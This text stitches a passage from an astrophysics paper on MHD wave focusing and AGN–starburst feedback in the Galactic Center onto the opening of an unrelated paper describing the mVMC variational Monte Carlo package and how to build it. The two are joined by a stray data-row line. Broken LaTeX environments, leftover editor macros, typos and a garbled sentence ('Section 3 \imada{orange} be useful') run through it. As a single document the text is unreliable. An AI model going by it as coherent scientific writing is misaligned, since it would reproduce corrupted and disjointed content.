We next examine a case with a molecular gas ring of radius $\varpi_{\rm ring}=5$ around the nucleus embedded in the sech disk.
We assume that the magnetic field is constant at $B=1$, and gas distribution is given by
\be
\rho=\rho_{\rm disk}+\rho_{\rm ring} + \rho_{\rm halo},
\ee
where
\be
\rho_{\rm ring}=10 \ e^{-((\varpi-\varpi_{\rm ring})^2 +z^2)/w_{\rm ring}^2)},
\ee
with $\varpi_{\rm ring}=5$ and $w_{\rm ring}=1$.
Figure \ref{Valf} shows the distribution of the \Alf velocity in the $(x,z)$ plane, where the ring has minimum \Alf velocity.
The ray paths of waves propagating in such \Alf distribution are shown in the middle panel of figure \ref{rays_ring}, which indicates that the waves are strongly focused on the ring.
The right panel enlarges the focal region, where the rays sharply focus on a circle of radius $\varpi=5.2$ slightly outside the gas ring's center at $x=5$.
Figure \ref{flux} shows relative density of the wave packets, representing the wave flux, as calculated by $f=(z_0/z)^2$ for the rays near the galactic plane, where $z_0$ is the initial radius of the MHD wave front.
This figure qualitatively represents the variation of wave flux as a function of the distance from the nucleus.
In the figure, the wave flux is amplified at the focal ring by a factor of $\sim 10^3$, reaching almost the same flux as that in the initial sphere at the nucleus.
However, in principle, because the rays of the wave packets cross eath other at the focus, where the area of the wave front becomes infinitesimally small ($z\simeq 0$), the amplification factor will reache infinity by the geometrical effect.
In order to visualize the behavior of the wave front during the propagation, we adopt a dot plotting method.
At the initial epoch, $t=0$, a number of wave packets, here about a thousand, are distributed at the origin with random radial vectors.
Propagation of each of the wave packets is traced by the Eikonal equations, and the packets are displayed by dots projected on the sky at a given time interval.
Figure \ref{p-gc-ring} shows thus calculated wave packets projected on a tilted plane by 30$\deg$ from the $(x,z)$ plane.
Each group of dots represents the wave front at a certain epoch.
Here, the front is displayed every 2 time units, or at $t=2$, 4, 6, ..., 20.
The left panel shows a case for the sech disc (same as figure \ref{rays_disk}), where the wave front expands, reflected to converge on a focal ring at $r\sim 4$, again expands and focus on the outer focal ring at $r\sim 9$.
The right panel shows a front expanding into the disc superposed with a dense gaseous ring of radius $r=5$ and width $w=1$.
The waves behave in the same way as in the left panel inside the ring, but more strongly converge onto the gas ring, and are trapped there for a while.
\subsection{Convergence onto clouds}
It is more likely that the CMZ is clumpy composed of molecular clouds.
We examine a case when three molecular clouds with different sizes and densities are present at the same distance as the above ring embedded in the central disk.
We assume that the magnetic field is constant at $B=1$, and gas distribution is given by
\be
\rho=\rho_{\rm disk}+\Sigma_i \rho_{\rm cloud, i} + \rho_{\rm halo},
\ee
where
\be
\rho_{\rm cloud,i}=100\ e^{-((x-x_i)^2+(y-y_i)^2+z^2)/w_{\rm cloud,i}^2},
\ee
with
$(x_i,y_i,w_{\rm cloud,i})=(5,0,1)$,
$(-\sqrt{5},\sqrt{5},0.5)$, and $(-\sqrt{5},-\sqrt{5},0.5)$.
Figure \ref{p-AtoB} shows a result of MHD wave convergence on such clouds.
Because of the spherical convergence onto each cloud, the amplification of the wave flux is much stronger compared with convergence onto a ring.
A fraction as high as $\sim 20$\% of the total released wave front from the nucleus is trapped by the largest cloud and focuses onto its center.
Figure \ref{p-AtoB-rot} shows a case when the disc and clouds are rotating with nearly constant velocity as indicated in figure \ref{Vrot}.
The convergence of waves onto the clouds are essentially the same, but the focusing waves are deformed according to the differential rotation.
\subsection{Effect of vertical magnetic cylinder}
Figure \ref{cylMag-AB} shows a result for the waves emitted from the nucleus (Sgr A) and propagate through a disc and vertical magnetic cylinder.
The waves are reflected by the inner wall of the cylinder, and a fraction is trapped inside the wall and disc.
However, a remaining fraction penetrates the wall and propagate through the disc, and further converge onto the ring and molecular clouds.
The magnetic cylinder, therefore, reflects the waves and confine some fraction inside the cylinder, and some fraction penetrates through the wall and converge onto the target clouds.
Although the magnetic cylinder somehow suppresses the efficiency of feedback from the wave source to the targets, the characteristic behavior of the waves are essentially the same as in the case without magnetic cylinder.
It may be noted that there appears an almost vacant region of waves around the cylinder's radius, where the waves propagate faster than the surrounding region because of the faster \Alf velocity.
This suggests that there is a quiet region of interstellar disturbances between Sgr A and molecular ring in the CMZ.
\section{Sgr B to A: Starburst to AGN}
\label{secsgrB}
\subsection{Ring to center}
In dense molecular clouds in the CMZ, star formation is triggered by the effective compression by the focusing MHD waves, which would be lead to active SF and may cause SB, if the compression is strong enough.
Once active SF occurs, the preceding explosive phenomena such as supernova (SN) explosions, stellar winds, and expanding HII shells will produce various types of disturbances, which propagate through the CMZ and the galactic disk.
We assume a constant magnetic field with $B=1$ and gas density distribution as
\be
\rho=\rho_{\rm disk}+\rho_{\rm nuc} +\rho_{\rm halo},
\ee
with
$\rho_{\rm nuc}=100\ e^{-(r/r_{\rm nuc})^2},$
and $r_{\rm nuc}=1$.
Figure \ref{ring-center} shows propagation of MHD waves produced in a ring surrounding the GC, where the waves start from the ring at r=5 and propagate through the disc with plane parallel density distribution as sech z/1.0.
Black and red lines indicate ray paths starting from two points on the ring at $X=-5$ and 5, respectively.
The waves expands from the ring and are reflected by the sech disk. About a half of the rays focus on the Galactic Center at $X=0$.
The rays from every azimuth position on the whole ring focuses on the central one point at high efficiency.
After passing the center, the rays further propagate through the disc and focus again on the opposite side of the ring, and propagate further outward.
\begin{figure
\begin{center}
\includegraphics[width=7cm]{fig9.eps}
\end{center}
\caption{Paths of MHD waves excited in a ring of radius 5 focusing onto the nucleus.}
\label{ring-center}
\end{figure
\subsection{Sgr B to A}
Although circum-nuclear SB is known to occur in a ring or donuts region surrounding the nucleus, the SF regions and molecular gas distribution are more or less clumpy, which is in fact clearly observed in the CMZ and associated SF sites
\cite{Oka+1998,Oka+2012}.
In the CMZ, the most active SF is observed in the Sgr B complex composed of HII regions and giant molecular clouds
\cite{Hasegawa+1994}. Expanding shells of hot gas around Sgr B2 suggest strong wind or explosive events in the SF region
\cite{Martinpintado+1999}.
Radio continuum observations of Sgr B region has shown that the radio emission is a mixture of thermal and non-thermal emissions, indicating that the region contains high energy objects
\cite{Jones+2011} (and the literature therein). X-ray observations also suggest active events, heating the surrounding gas to high temperature
\cite{Koyama2018}.
Thus, the SF activity in Sgr B will result in a variety of explosive and/or wind phenomena, including multiple supernova explosion.
We trace propagation of disturbances simulated by a spherical MHD wave originating in a remote site from the nucleus at $(x,y,z)=(5,0,0)$, mimicking an explosive event in the Sgr B SF complex.
The gas density distribution is assumed to have the form as
\be
\rho=\sech \left(\frac{z}{h}\right)
e^{ -\left( \frac{\varpi}{\varpi_{\rm disk}} \right)^2 }
+100 e^{- \left( \frac{r}{r_{\rm nuc}} \right)^2 } + 0.01,
\label{diskAB}
\ee
with $h=1$, $\varpi_{\rm disk}=10$ and $r_{\rm nuc}=1$, representing a sech disc of radius 10 and a nuclear high-density gas concentration of radius 1.0
Figures \ref{sb_gc}(a) and (b) show the wave front at t=1, 2, 4, 6, ... and 20 for non-rotating disk. The wave front expands spherically in the initial stage around the explosion place, mimicking disturbance from a SB site such as Sgr B.
As the shell expands, it is deformed due to the sech disc to form cylindrical shape, and is further converges to the disk.
A significant portion, about $sim 10$ percent, of the front facing the nucleus focuses onto the nucleus.
Figure \ref{sb_gc_rot}(c) and (d) are the same, but the disc is rotating at a constant velocity as shown in figure \ref{Vrot}.
The wave source (Sgr B) moves along a circle at $r=5$ clockwise and the front expands in the rotating disk.
Approximately the same portion of the front facing the nucleus as in case (a) focuses onto the nuclear gas cloud, while the front shape is deformed by the differential rotation.
When the wave approaches the nucleus, the front shape attains almost spherical shape, focusing onto the center.
Figure \ref{sb_multi_gc_rot} shows the same in a rotating disk, but there are three wave sources at slightly different radii at $r=4$, 4.5 and 5, and different azimuth angles. This figure demonstrates the effective convergence of the waves from multiple SF (SB) sites onto the nucleus at Sgr A.
Figure \ref{sb_multi_ring_gc_rot} shows the same, but the emitting sources (SF regions) are located on the edge of a molecular ring as observed as the 200 pc molecular ring \cite{Sofue1995} embedded in the disc given by equation (\ref{diskAB}).
The ring's density is represented by
\be
\rho_{\rm ring}=\rho_{\rm ring, 0} e^{-((\varpi-5)^2+z^2)/w_{\rm ring}^2},
\ee
where $\varpi_{\rm ring,0}=5$, half width $w_{\rm ring}=1$, and $\rho_{\rm ring,0}=5$.
which is embedded in the disc given by equation (\ref{diskAB}).
A large fraction of the MHD waves are trapped in the ring, and a portion, about 10 percent, escapes from the ring and converges onto the nucleus.
The waves inside the ring efficiently converge to the center, propagating through the disc in differential rotation, and focus onto the nucleus, resulting in spherical implosion.
It may be stressed that the major fraction of the MHD waves are trapped inside the ring, staying there almost without dissipation (equation (\ref{dissipation})).
The waves propagate along the ring, repeating oscillating focusing at wave length of $\sim 2w_{\rm ring}$ in the same way as in a magnetized filament \cite{Sofue2020a}.
\begin{figure*
\begin{center}
{\bf [Sgr B $\Rightarrow$ Sgr A]}\\
\includegraphics[width=16cm]{fig10.eps}
\end{center}
\caption{(Left) Projection on the $(x,y)$ plane of SB-induced MHD wave by Sgr B (circle) focusing on the nucleus at Sgr A (cross).
(Middle) Same, but seen from altitude at 30$\deg$. (c) Same as left panel, but enlarged near Sgr A.}
\label{sb_gc}
\begin{center}
{\bf [Sgr B in rotation $\Rightarrow$ Sgr A]}\\
\includegraphics[width=16cm]{fig11.eps}
\end{center}
\caption{Same as figure \ref{sb_gc}, but in a rotating disc with circular velocity as shown by figure \ref{Vrot}. }
\label{sb_gc_rot}
\begin{center}
{\bf [Sgr B, etc. in rotation $\Rightarrow$ Sgr A]}\\
\includegraphics[width=16cm]{fig12.eps}
\end{center}
\caption{Same as figure \ref{sb_gc_rot}, but the MHD waves are emitted from three sources at $r=4, 4.5$ and 5.5, mimicking Sgr B, C etc.. }
\label{sb_multi_gc_rot}
\end{figure*
\begin{figure*
\begin{center}
{\bf [Sgr B etc. on a ring in rotation $\Rightarrow$ Sgr A]}\\
\includegraphics[width=16cm]{fig13.eps}
\end{center}
\caption{Same as figure \ref{sb_multi_gc_rot}, but a gas ring of radius 5 and half width 0.5 is added. Waves are either trapped in the ring, or escape and focus on the nucleus (Sgr A). }
\label{sb_multi_ring_gc_rot}
\end{figure*
\subsection{Feedback through a magnetic cylinder}
Figure \ref{cylMag} shows the result for MHD waves emitted from three SF regions near the molecular ring at $\varpi=5$ in the presence of a magnetic cylinder of radius 3.
A fraction of the waves are reflected by the magnetic wall, and propagate backward and trapped (absorbed) in the molecular ring.
Some other fraction penetrates through the magnetic cylinder, and converges onto the nucleus.
Thus, the magnetic cylinder somehow suppress the efficiency of feedback from Sgr B to Sgr A, although the essential behavior is about the same without magnetic cylinder.
Again, a vacant region appears coincident with the cylinder's radius due to the faster \Alf velocity inside.
\begin{figure*
\begin{center}
{\bf [Sgr B, etc. on a ring in rotation $\Rightarrow$ Sgr A through a magnetic cylinder]}\\
\includegraphics[width=16cm]{fig14.eps}
\end{center}
\caption{Same as figure \ref{sb_multi_ring_gc_rot}, but in the presence of a magnetic cylinder at $\varpi=3$. MHD waves from three SF regions (Sgr B etc.) near the molecular ring are reflected by the magnetic cylinder, while a fraction penetrates it and converges onto the nucleus (Sgr A). There appears a vacant area in the cylider, with the wave being rejected. Some self-feedback occurs back to the ring and clouds.}
\label{cylMag}
\end{figure*
\subsection{Efect of clumpiness}
\label{clumpiness}
Although the CMZ is composed of such major structures as the central disc, molecular ring, giant clouds like Sgr B, and the nuclear core around Sgr A, it is also full of clumps of smaller scales and turbulence \cite{Morris+1996,Oka+1998}.
Such small structures cause fluctuations of the distribution of \Alf velocity, and disturb the smooth propagation of the MHD waves.
While detailed discussion of magneto-hydrodynamic turbulence is beyond the scope of this paper, we here try to perform a simple exercise to examine how small scale fluctuations affect the MHD propagation by adding sinusoidal deformation against the background \Alf velocity distribution.
Namely, the \Alf velocity is multiplied by a factor of
\be
f_{\rm clump}=1+q\ \sin (5x)\ \sin (5y)\ \sin (5z),
\ee
with $q\sim 0.1$.
This equation represents $\Va$ variation with wavelength $\lambda \sim 0.6$ and peak-to-peak amplitude of 0.2 times the background, or peak-to-peak gas density of 0.4 times.
In order to abstract the effect, we examine a simple case where are put three major clouds (Sgr B etc.) without rotation and a nuclear core (Sgr A), and the waves are emitted at the surfaces of the three clouds.
In figure \ref{clump} we compare the results for no clumps (upper panels) and with clumps (lower panels).
Although the wave fronts are more diverted due to the scattering and diffraction of the ray paths by the clumps, the global behavior of the wave propagation does not much different between the two cases.
Focusing onto Sgr A also occurs at almost the same efficiency, while the directions of the focusing waves are more widely spread.
Therefore, we can conclude that the clumps disturb the front shape of the wave, but it has no significant effect on the global focusing on the nucleus and its efficiency.
The behavior is similar to a fluid flow collected by a deformed funnel into the central hole, regardless of the degree of deformation.
\begin{figure*
\begin{center}
{\bf [ Sgr B, etc.$\Rightarrow$ Sgr A; without/with backgound fluctuations ]}\\
\includegraphics[width=16cm]{fig15.eps}
\end{center}
\caption{ Effect of clumpiness on the MHD waves from three sources (Sgr B, etc.) at $\varpi \sim 5$ without rotation, converging on Sgr A at the center.
(a) \Alf velocity distribution is the same as for figure\ref{sb_multi_gc_rot}, and the waves from 3 sources are shown at $t=1$, 4, 8, ..., 20 projected on the ($x,y$) plane.
(b) Same, but projection seen from $30\deg$ above the galactic plane.
(c) Same as (a), but close up around Sgr A.
(d) to (f) Same as (a) to (c), respectively, but the background \Alf velocity is superposed by fluctuation multiplied by a factor of $f_{\rm clump}=1+0.1\times \ \sin(5x)\ \sin(5y)\ \sin(5z)$. }
\label{clump}
\end{figure*
\section{Discussion}
\label{secdiscussion}
\subsection{Echoing Feedback between Sgr A and B}
We have shown that MHD waves excited by the AGN in Sgr A converge onto the molecular clouds such as Sgr B in the CMZ.
The waves focus onto the clouds' centers, and compress the gas to trigger star formation.
If the activity in Sgr A is strong and the wave amplitude is sufficiently large, the focusing wave will compress the cloud strongly, leading to starburst.
The thus triggered SF and SB produce expanding HII regions, SN explosions and stellar winds, which further excite MHD waves in the surrounding ISM.
The major part of the MHD waves is trapped to the disc and ring, and some portion, $\sim 10-20$ percent, focus on the nucleus, or Sgr A, as spherically imploding compression wave.
Thus, the activity of Sgr A (AGN) triggers the SF/SB in the CMZ (Sgr B), which excites another MHD waves that inversely converge back to Sgr A by the inward focusing. This boomerang-focusing cycle will continue until the circum-nuclear gas and CMZ are exhausted by star formation and out-flowing events such as winds and expanding shells.
\subsection{Solving the angular-momentum problem of AGN fueling}
The key problem about fueling AGN by accretion of cold gas is how to control the refusing forces by conservation of angular momentum and increasing magnetic pressure
\cite{Umemura+1997,Shlosman+1989,Krolik+1990,Thompson+2005,Jogee2006}.
Such problem can be solved by the present model, because the MHD wave propagates as local and temporary enhancement of the magnetic pressure associated with gas compression, surfing the rotating disc without transporting angular momentum.
Namely, the convergence onto the nucleus occurs without global change in the angular momentum and magnetic field.
Thus, the MHD wave focusing can produce spherical implosion onto the nucleus without suffering from refusing forces by conservation of angular-momentum as well as magnetic pressure.
\subsection{Energetics}
The kinetic energy released by the starburst in the CMZ can be approximately estimated by the supernova (SN) rate and SF rate in the GC.
High excess of small-diameter SNRs in the GC \cite{Gray1994} suggests that the SN rate per volume is higher than that in the galactic disc.
The observed SF rate of $\sim 0.1 \Msun$ y$^{-1}$ in the CMZ \cite{Barnes+2017,YZ+2009} indicates massive-star birth rate of $\sim 10^{-3} \times 10 \Msun$ (OB stars) y$^{-1}$ $\sim 10^{-2}\Msun$ y$^{-1}$, \red{corresponding to $\sim 10^{-3}$ SNe y$^{-1}$.}
Then, the injection rate of the kinetic energy into the CMZ by SNe is on the order of $L_{\rm SN}\sim \eta E_{\rm SN} dN_{\rm SN}/dt \sim 10^{39}$ ergs s$^{-1}$, where $E_{\rm SN}\sim 10^{51}$ ergs and $\eta\sim 0.03$ is the fraction of kinetic energy. The injected kinetic energy by SNRs finally fades away and merge into the ISM of CMZ, and excites small amplitude MHD waves.
As the simulation showed, a significant fraction, $\sim 0.1$, of thus created waves converges onto the nucleus by the focusing effect.
\red{This results in an implosive injection of kinetic energy in the form of compression MHD waves at a rate of $L_{\rm kin} \sim 10^{38}$ ergs s$^{-1}$ into a small focal area around Sgr A$^*$ (figure \ref{sb_gc}). }
Since the problem of angular momentum has already been solved as in the previous subsection, this kinetic energy is directly spent to promote the accretion of the circum-nuclear gas towards the center, overcoming the gravitational barrier.
The accretion rate is related to the injecting kinetic energy luminosity as
\be
L_{\rm kin}\sim \dot{M} \( \frac{GM_\bullet}{r} \),
\ee
or
\be
\dot{M}
\sim 3.6 \(\frac{L_{\rm kin}}{10^{40}{\rm erg}} \) \( \frac{r}{1 {\rm pc}}\) \(\frac{M_\bullet}{10^6 \Msun}\)^{-1} \ \Msun \ {\rm y}^{-1},
\ee
where $M_\bullet$ is the mass of the central massive object and $r$ is the radius at which the accretion is proceeding.
\red{For above luminosity, this reduces to $\dot{M}\sim 0.01(r/1{\rm pc})$, if we assume that the convergence is so efficient that the focusing occurs into a small volume around the central massive black hole of mass $M_\bullet \sim 4\times 10^6 \Msun$ at Sgr A$^*$ \cite{Genzel+2010}.
This yields $\dot{M}\sim 10^{-6}\Msun$ y$^{-1}$ for $r\sim 10^5 R_{\rm S}$ with $R_{\rm S}$ being the Schwaltzschild radius, and would be compared with the rate of a few $10^{-6}\Msun$ y$^{-1}$ estimated for Sgr A$^*$ \cite{Cuadra+2005,Yuan+2014},
although it is beyond the scope of the model how the accretion can further reach this radius from the presently simulated scale of several pc.
}
\subsection{High efficiency compression by spherical implosion}
The present MHD calculation by solving the Eikonal equations cannot treat non-linear growth of waves and absolute amplitude.
However, we may speculate that the wave will grow rapidly as it focuses on the focal point, where the amplitude increases inversely proportional to the spherical surface of the wave front.
Such implosive focusing will further cause strong and efficient feeding of compressed gas onto the focal point such as the nucleus or dense cloud's center.
An advantage of the present model is its minimal energy requirement.
The released energy from the AGN in the form of MHD waves propagates the GC disc without dissipation as estimated by equation (\ref{dissipation}).
Almost all fraction of the waves are trapped inside the GC disc and CMZ, and converges onto the clouds, where the waves focus on focal points.
Even weak disturbances in the form of MHD waves are collected by the clouds and largely amplified, causing spherical implosion toward the focal points.
\subsection{Shock waves in explosion phase vs MHD waves in quiet phase}
There have been various models to explain the radio, X-ray and $\gamma$-ray bubbles and shells from the Galactic Center by energetic explosions associated with strong shock waves
\cite{Crocker2012,Kataoka+2018}.
Such explosive phenomena will significantly influence and change the structure of the galactic disk, and may work to suppress star formation, rather than to trigger, by blowing off the gas from the disk.
Such violent phenomena make contrast to the model presented here of triggering the activities and star formation by focusing of MHD waves.
Opposite two different situations may be possible to occur, if there are two different activity phases, strong and weak, in the nucleus as follows.
One phase is composed of energetic explosions associated with giant supersonic shells and jets expanding into the halo, which may blow off the surrounding interstellar medium into the halo.
The other is weak and silent phase between the strong ones, during which weak disturbances such as MHD waves are emitted gently and constantly, and trigger the SF by focusing implosions.
Although weak, the latter will last much longer than the strong phase, so that the nucleus (Sgr A) may be regarded as a constant supplier of the triggering waves.
\subsection{Larger-scale feedback in the entire Galaxy}
The present feedback mechanism can be extended to larger scale feedback of explosive energy to the disc and nucleus in the entire Milky Way.
MHD waves produced at the nucleus converge not only onto the CMZ, but also penetrate it and propagate through the entire disc of the Milky Way because of the small dissipation rate.
This may cause further convergence onto the spiral arms, molecular and HI clouds, and would act to trigger implosive compression of the clouds, leading to star formation.
Stronger shock waves from the nucleus expanded into the halo make giant shells and bubbles.
When the shells fade out in the halo, sound and MHD waves are excited in the halo.
Such waves are then reflected by the upper halo, and converge onto the galactic disc and further to interstellar clouds.
Thus, most of the released kinetic energy at the nucleus (Sgr A) is trapped inside the Milky Way, and fed back to interstellar clouds, triggering there subsequent star formation.
Similarly, MHD waves excited in the galactic disc by SF and SNe propagate in the disk, and a significant portion globally converges to the galactic center, triggering AGN.
Again, the efficiency of wave trapping and focusing is so high that a significant fraction of the kinetic energy released by SF is fed back to the GC.
The convergence of these waves to the nucleus will continue as long as SF activity continues in the Galaxy.
\vskip 5mm
\section{Summary}
We have traced the propagation of fast-mode magneto-hydrodynamic (MHD) compression waves in the Galactic Center (GC).
It was shown that the waves produced by the activity in the nucleus (Sgr A) focus on the molecular ring and clouds in the CMZ, which will trigger starburst.
As feedback, MHD disturbances induced by SF activity or starburst propagate backward to the nucleus, and focus on the cloud around Sgr A.
This further enhance implosive compression to cause nuclear activity.
The present model, thus, solves the most important problem of the angular momentum in the AGN fueling mechanism.
The AGN (Sgr A) and starburst (Sgr B) trigger each other through echoing focusing of MHD waves, which realises mutual trigger at high efficiency and minimal energy requirement.
The present idea and method would also be applied generally to insight into the detailed mechanism of the AGN-SB connection in external galaxies.
\vskip 5mm
\noindent{\bf Data availability} There are no data available on line.
\noindent {\bf Acknowledgements}: The calculations were performed at the Astronomical Data Center (ADC) of the National Astronomical Observatory of Japan (NAOJ). The author would like to thank the anonymous referee for the valuable comments.
|
1,477,468,749,997 | arxiv | \section{Introduction}
\label{Intro}
High-accuracy analyses of effective Hamiltonians for interacting fermion systems have been an important issue
for a long time in {studies} of novel quantum phases
in strongly correlated electron systems such
as high-temperature {superconductors}~\cite{Imada_RMP1998}
and quantum spin liquids~\cite{Diep,Balents_Nature2010}.
Recent theoretical development in construction of low-energy effective Hamiltonians
for real materials in a non-empirical way~\cite{Imada_JPSJ2010}
{urges developing ways for}
high-accuracy
analyses of
{Hamiltonians} with complex hopping parameters and
electron-electron interactions.
To promote materials design of correlated electron systems,
it is highly
{desirable} to develop
a numerical solver, which can analyze a wide range of
{Hamiltonians} with high accuracy.
To solve
{Hamiltonians} for interacting fermion systems,
various numerical algorithms have been developed so far~\cite{FehskeBook2008}. The exact diagonalization method is one
of {most} reliable theoretical methods applicable to general
{Hamiltonians}~\cite{Dagotto_RMP1994,hphi}.
However, system sizes which can be treated in the exact diagonalization method
are limited, because the Hilbert-space dimensions
{increase} exponentially as a function of systems sizes.
The (unbiased) quantum Monte
{Carlo} method is another important method applicable to
a wide range of quantum many-body systems~\cite{KawashimaBook}.
For interacting fermion systems, however, the negative sign problem, i.e., the appearance of
the negative weights in the Monte Carlo samplings makes it {difficult}
or
{practically} impossible to obtain reliable results for
a realistic numerical cost {except {a} few special cases}.
For one-dimensional quantum systems, the density matrix renormalization group (DMRG)
is an excellent method~\cite{White_PRL1992,White_PRB1993,Schollwoeck_RMP2005}, which can treat larger system sizes.
The tensor-network method, which has been developed keeping close relation with the DMRG method,
{has succeeded in treating two-dimensional systems
without suffering {from} the negative sign problem~\cite{Cirac_JPhysA2009,Orus_AnnPhys2014,Ran_arXiv2017}.}
{
However, the computational time by the tensor network
method increases very rapidly with the increasing
tensor dimension and the convergence to
the exact estimate is not throughly examined
so far in complex systems. Particularly in cases of
itinerant fermion models we need special care
about the entanglement entropy, which increases beyond
the area law and the accuracy by the tensor network becomes worse.
}
The variational Monte Carlo (VMC) method is one of promising methods
{for}
highly
accurate calculations for
{general systems}~\cite{Gros_AP1989}.
In the VMC \yoshimi{calculation}, we introduce a variational wave function with variational parameters,
and obtain approximate ground-state wave functions by optimizing these parameters
according to the variational principle. For
{calculating} expectation values of
physical quantities, we employ the Markov-chain Monte Carlo sampling.
In contrast to the ordinary (unbiased) Monte Carlo method,
the VMC \yoshimi{method} does not suffer {from} the negative sign problem since the weight of
Monte Carlo sampling is positive definite.
The VMC \yoshimi{method} was applied to various quantum many-body systems such
as liquid ${}^4$He~\cite{McMillan1965}, liquid ${}^3$He~\cite{Ceperley1977},
the Hubbard model~\cite{Gros1987,Yokoyama1987,Giamarchi1991,Eichenberger2007,Tocchio2008,Yokoyama2013,Tocchio2014},
the Kondo-lattice model~\cite{Watanabe2007,Asadzadeh2013}, and the Heisenberg model~\cite{Liang1990,Liang1990a,Franjic1997}.
In these applications, trial wave functions were assumed to be a simple mean-field form with only a few variational parameters,
and were optimized to reproduce ground-state properties qualitatively.
\kato{
The accuracy of the VMC calculation using such simple trial wave functions is, however, not satisfactory,
if one hope to identify a novel quantum phase competing with other possible phases,
or to treat complicated low-energy Hamiltonians for real materials.}
To improve the accuracy of the VMC {method} substantially,
more than ten thousand variational parameters
{are introduced}
in trial wave functions
{where they are}
simultaneously {optimized}
by using the
stochastic reconfiguration (SR) method~\cite{Sorella_PRB2001,Sorella_JCS2007}.
In addition, we implement quantum number projections to restore the symmetries of the wave functions
to improve
{their} accuracy.
{We have developed a program package named
mVMC (many-variable Variational Monte Carlo), which
can perform highly accurate VMC calculations
for a wide range of the quantum lattice models.}
mVMC
has been applied to the Hubbard models~\cite{Tahara_JPSJ2008,Tahara_JPSJLett2008,Misawa_PRB2014},
the Heisenberg models~\cite{Kaneko_JPSJ2014,Morita_JPSJ2015}, and
the Kondo-lattice models~\cite{Motome_PRL2010,Misawa_PRL2013}, and has succeeded in
evaluating electronic states with high accuracy.
mVMC
has also applied to more realistic models
such as the theoretical models for the
interfaces of the cuprates (stacked Hubbard models)~\cite{Misawa_SA2016},
{\it ab initio}
low-energy Hamiltonians for the
iron-based superconductors~\cite{Misawa_JPSJ2011,Misawa_PRL2012,Misawa_Ncom2014,Hirayama_JPSJ2015},
and
{\it ab initio}
low-energy Hamiltonians for the organic conductor~\cite{Shinaoka_JPSJ2012}.
It has been shown that the mVMC
can be applied to
systems with spin-orbit couplings~\cite{Yamaji_PRB2011,Kurita_PRB2015,Kurita_PRB2016}
and
systems with
electron-phonon couplings~\cite{Ohgoe_PRB2014,Ohgoe_PRL2017}.
Recently, it has been shown that
mVMC
can
{treat} the real-time evolutions~\cite{Ido_PRB2015,Ido_2017}
and {perform}
finite-temperature calculations~\cite{Takai_JPSJ2016}
based on the imaginary-time evolutions.
Recently, the authors have
{released}
mVMC as open-source software
with simple and flexible user interfaces~\cite{ma}.
\kato{By using this software, users can perform many-variable VMC calculations
for widely studied quantum lattice models by preparing only one input file with less than ten lines.}
{Although there are several open-source software of VMC method for continuous
space such as CASINO~\cite{CASINO}, QWalk~\cite{QWalk}, and turbo-RVB~\cite{TRVB}, there is no open-source
software of VMC method for the quantum lattice model such as the
Hubbard or the Heisenberg model to the best of our knowledge.}
By preparing several additional input files, users can also define general Hamiltonians
with \imada{any lattice structure, any spatial dimensions and any one and two-body (interaction) terms.}
The user interface of mVMC is designed for seamless connection to open-source
software $\mathcal{H}\Phi$~\cite{hphi,hphi_ma}, which is developed by some of the authors
for
exact diagonalization calculations.
By small changes of description in input files, it is easy to check the accuracy of the
variational wave functions by comparing the results
{to} the exact diagonalization calculations for small-size systems.
mVMC also supports
large-scale parallelization.
\tg{In mVMC,} the power-Lanczos
\tg{method}\tg{\cite{Heeb_ZPhys1993}} \tg{is implemented.}
\tg{This method} systematically improve\tg{s} the accuracy
of the wave functions\tg{.}
In this paper, we describe basic usage of mVMC
and fundamental properties of trial wave functions implemented in mVMC.
We also
{exposit} the key algorithms implemented
in mVMC such as the quantum number projections and the SR method.
We show some examples of mVMC calculations and
{demonstrate that the relative {systematic} errors
{on} the energy
become typically less than $10^{-2}\%$
compared with the results of the exact diagonalization method.
}
This paper is organized as follows \yoshimi{(overview is shown in Fig. \ref{fig:overview})}:
In Section 2, we
{describe} how to download and build mVMC (Section 2.1),
how to use mVMC (Section 2.2), how to define models and lattices (Section 2.3),
and how to visualize results of mVMC calculation (Section 2.4).
In Section 3, we explain the algorithms implemented in mVMC.
We describe the {Monte Carlo} sampling method (Section 3.1),
details of trial wave functions (Section 3.2),
the optimization method (Section 3.3), the power-Lanczos method (Section 3.4), and
the parallelizations (Section 3.5).
In Section 4, we show benchmark results of mVMC for the Hubbard model, the Heisenberg model,
and the Kondo-lattice model.
By these benchmarks, we demonstrate excellent performance of mVMC
as a numerical solver for obtaining ground states and low-lying excited states
of {the standard} Hamiltonians for interacting fermion systems.
Finally, Section 5 is devoted to the summary.
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=9.5cm]{Fig1.pdf}
\caption{
\yoshimi{Overview of this paper.
For readers who want to use mVMC quickly,
please read Section 2 first, where we describe basic usage of mVMC.
Section 3 \imada{orange} be useful for readers who want to
learn the key algorithms implemented in mVMC. }}
\label{fig:overview}
\end{center}
\end{figure}
\section{Basic usage of mVMC}
\subsection{How to download and build mVMC}
One can download the gzipped tar file of source codes~\cite{ma},
samples, and manuals from the mVMC download site.
It is also possible to download
the repository of mVMC through GitHub~\cite{git}.
For building mVMC,
a C
{compiler}, the BLAS/LAPACK library~\cite{lapack},
and the Message Passing Interface (MPI)~\cite{MPI} are prerequisite.
The Scalapack~\cite{scalapack} library is optionally required.
By using the CMake utility~\cite{cmake}, one can build mVMC as follow:
\begin{verbatim}
$ tar xzvf mVMC-1.0.2.tar.gz
$ cmake mVMC-1.0.2/
$ make
\end{verbatim}
One can also select the compiler
as follows:
\begin{verbatim}
$ cmake -DCONFIG=$Config $PathTomvmc
$ make
\end{verbatim}
where \verb|$Config| is chosen from the following configurations:
\begin{itemize}
\item \verb|gcc| : \yoshimi{GNU C Compiler}
\item \verb|intel| : \yoshimi{Intel\textregistered~C Compiler} + MKL library
\item \verb|sekirei| : \yoshimi{Intel\textregistered~C Compiler} + MKL library on ISSP system-B (Sekirei)
\item \verb|fujitsu| : \yoshimi{Fujitsu C compiler} + SSL2 library on the K computer
\end{itemize}
We recommend users to use the CMake utility,
because the CMake utility automatically finds the required libraries.
However, installing CMake utility is sometimes difficult, for example,
in the systems where one does not have the administrative permission.
Thus, for a system
without the CMake utility,
we provide a script
for making the {Makefiles}.
By using the \verb|mVMCconfig.sh|,
one can generate the {Makefiles} as follows:
\begin{verbatim}
$ bash mVMCconfig.sh gcc-openmpi
$ make mVMC
\end{verbatim}
{This \tmorita{is} an example for gcc + openmpi configurations and
we provide several options of the combinations {between}
{compilers} and implementations of the MPI libraries
such as the intel compiler and mpich. For details,
please refer \tido{to} the manuals~\cite{ma}.}
Once the compilation finishes successfully, one can find the executable file,
\verb|vmc.out|, in \verb|src/mVMC/| subdirectory.
{
